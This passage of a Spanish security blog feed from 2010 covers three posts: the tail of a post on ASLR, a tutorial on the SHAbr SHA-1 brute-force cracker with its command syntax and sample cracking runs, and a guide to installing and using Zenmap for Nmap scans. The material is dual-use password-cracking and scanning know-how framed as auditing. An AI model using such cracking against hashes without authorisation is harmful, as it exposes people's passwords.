hoy, y que confiar plenamente en ello puede generarnos una falsa sensación de seguridad que podría ocasionarnos algún que otro disgusto. También se pondrá en duda esa aleatoriedad a la hora de generar los segmentos de memoria, donde comprobaremos que realmente sólo 3 bytes de los 4 que componen nuestra dirección sufrirán variación alguna, provocando que de los 32 bits que esta ocupa, tan sólo sean 24 los que sufren el cambio. Pero de eso hablaremos en otra entrada, hoy sólo vamos a mostrar en qué consiste.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-20007384482444371892010-03-30T07:01:00.000-07:002010-03-30T10:41:19.532-07:00SHAbr, fuerza bruta para SHA-1<h2>Introducción</h2><br />Cuando hacemos password guessing, el siguiente paso viene a ser obtener en texto plano el valor de algún elemento cifrado (<span style="font-style:italic;">password cracking</span>). Herramientas para eso hay a patadas, pero el otro día buscando alguna que me permitiera realizar un ataque de fuerza bruta con éxito sobre hashes cifrados con SHA-1 me encontré con <span style="font-weight:bold;">SHAbr</span>.<br /><br />Su creador, <span style="font-weight:bold;">Daniel Niggerbrugge</span> ha conseguido optimizar el código hasta el punto de alcanzar un total de 60Mhashes/s. Obteniendo buenos resultados para longitudes inferiores a 16 caracteres (<span style="font-style: italic;">eso dice él... la práctica es otra cosa :P</span>). También permite el uso de varios procesadores y utiliza SSE2 para hashear los valores en texto plano.<br /><br />El código fuente lo podéis encontrar en <a href="http://blog.distracted.nl/2009/01/shabr-sha-1-password-brute-forcer.html">su blog</a>, por si queréis echarle un vistazo, así como el binario para plataformas Windows.<br /><br /><h2>Uso</h2><br />El uso de la aplicación es bastante sencillo: <code>shabr SHA1_hash -c charset</code><br />Dónde:<br /><ul><br /><li><b>SHA1_hash</b>: Es el hash de 40 caracteres.</li><br /><li><b>-c charset</b>: Es el juego de caracteres a usar (all, loweralpha, upperalpha, mixalpha, numeric, loweralpha-numeric, upperalpha-numeric, mixalpha-numeric).</li><br /></ul><br /><br />Como parámetros opcionales tenemos:<br /><ul><br /><li><b>-B</b>: Establecemos la prioridad por debajo de lo normal</li><br /><li><b>-Q</b>: Indicamos que no nos muestre el proceso mientras se ejecuta</li><br /><li><b>-t threads</b>: Cantidad de <a href="http://es.wikipedia.org/wiki/Hilo_de_ejecuci%C3%B3n">hilos</a> a usar</li><br /><li><b>-l max length</b>: Por defecto 15</li><br /><li><b>-m min length</b>: Por defecto 1</li><br /></ul><br /><br /><h2>Práctica</h2><br />Pero vamos a la parte práctica y hagamos algunas pruebas:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/S7IVfjX8y8I/AAAAAAAAACE/pkt8s3BF7eo/s1600/prueba01.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 161px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/S7IVfjX8y8I/AAAAAAAAACE/pkt8s3BF7eo/s320/prueba01.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5454445730514914242" /></a><br />En este caso hemos pasado al programa el hash correspondiente a la palabra "<b>hola</b> y no ha tardado nada en obtenerla. También han sido 4 caracteres <b>loweralpha</b>, así que no le hemos hecho trabajar demasiado.<br /><br />Pasando un hash <b>loweralpha-numeric</b> obtenemos el siguiente caso de prueba:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/S7Iap3bL6aI/AAAAAAAAACU/2C1BbmwGNl8/s1600/prueba03.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 158px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/S7Iap3bL6aI/AAAAAAAAACU/2C1BbmwGNl8/s320/prueba03.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5454451405254027682" /></a><br /><br />Ha tardado 110.79 segundos en sacar <b>abc123</b>, ocupando un 60% de las posibles combinaciones. No esta nada mal.<br /><br />Sin embargo en este otro caso:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/S7Ih8gy8BHI/AAAAAAAAACc/wp-_FcoRBS8/s1600/prueba04.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 160px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/S7Ih8gy8BHI/AAAAAAAAACc/wp-_FcoRBS8/s320/prueba04.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5454459422178542706" /></a><br /><br />Las pruebas resultan ser demasiado costosas utilizando un juego de caracteres al completo (<i>minúsculas, mayúsculas, símbolos y números</i>). Va por 6 caracteres y ha tardado <b>10 minutos en completar un 1%</b> (<i>la contraseña era SHA-1br, puesta a maldad</i>). Quizás deberíamos plantearnos hablar de procesamiento paralelo para agilizar el tiempo de cómputo.<br /><br />No obstante, puede darse el caso de que realmente resulte inviable el hecho de intentar romper el hash de una contraseña. Recordad que a <b>mayor entropía mayor tiempo de cálculo</b>, y viceversa. Pero aun así en esos casos que necesitéis realizar una auditoría de passwords y os encontréis con SHA-1, recordad a SHAbr.Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-9196352698689162458.post-64820790820868083812010-03-29T18:36:00.000-07:002010-03-29T19:52:21.822-07:00Zenmap, un frontend para Nmap<h2>Introducción</h2><br />Aunque sea partidario de la terminal y prefiera no utilizar una GUI para Nmap (<span style="font-style: italic;">los hombres de verdad no la usan, le pese a quién le pese :P</span>), es destacable el trabajo que se han pegado los chicos de Insecure con la aplicación.<br /><br />En ella nos podemos encontrar:<br /><ul><li>Posibilidad de realizar escaneos preconfigurados, sin necesidad de leerse la documentación (<span style="font-style: italic;">a los flojos os encantará</span>).</li><li>Exportación de los resultados.</li><li>Dibujos de la topología de red que analizamos.</li><li>Entorno de trabajo amigable.</li></ul><br /><br /><h2>Instalación</h2><br />Su instalación en Ubuntu es bastante sencilla:<br /><code>sudo apt-get install nmap zenmap</code><br /><br />Y para lanzarla más de lo mismo (<i>si lo haces sin privilegios no tendrá toda su funcionalidad</i>):<br /><code>sudo zenmap</code><br /><br /><h2>Uso básico</h2><br />Algunas de las opciones que trae por defecto para utilizar son<br /><ul><br /><li><b>Intense scan</b>: Pedimos que haga un análisis rápido, habilitando la detección del SO y su versión, aumentando el nivel de mensajes detallados. También se solicita un análisis detallado a los puertos especificados</li><br /><li><b>Quick scan</b>: Realiza un escaneo rápido de una lista de puertos por defecto </li><br /><li><b>Slow, comprehensive scan</b>: Quizás la opción más completa de todas, pero la más lenta ya que asume que todo los host están vivos y utiliza algunos scripts para sacar un informe más detallado</li><br /></ul><br /><br />No obstante si quieres saber con seguridad lo que aporta cada opción puedes consultar las páginas del man desde una terminal con: <code>man nmap</code><br /><br />En caso de querer crearte tus propios perfiles, puedes hacerlo desde la pestaña: Profile > New Profile or Command.<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BcfTeHrlYdY/S7Fjm-JNOWI/AAAAAAAAAB8/MS4RwKRRAKw/s1600/zenmap01.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 202px;" src="http://4.bp.blogspot.com/_BcfTeHrlYdY/S7Fjm-JNOWI/AAAAAAAAAB8/MS4RwKRRAKw/s320/zenmap01.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5454250144890173794" /></a><br /><br />Otras pestañas importantes son la que nos indican los puertos y el estado en el que se encuentran, la que nos proporciona información sobre el host, el sistema operativo sobre el que funciona, y la que se encarga de dibujarnos la topología de red.<br /><br />Bastante completa como podéis ver, y una buena alternativa para aprender un poco sobre el funcionamiento de las redes y cómo realizar un correcto OS fingerprintingUnknownnoreply@blogger.com0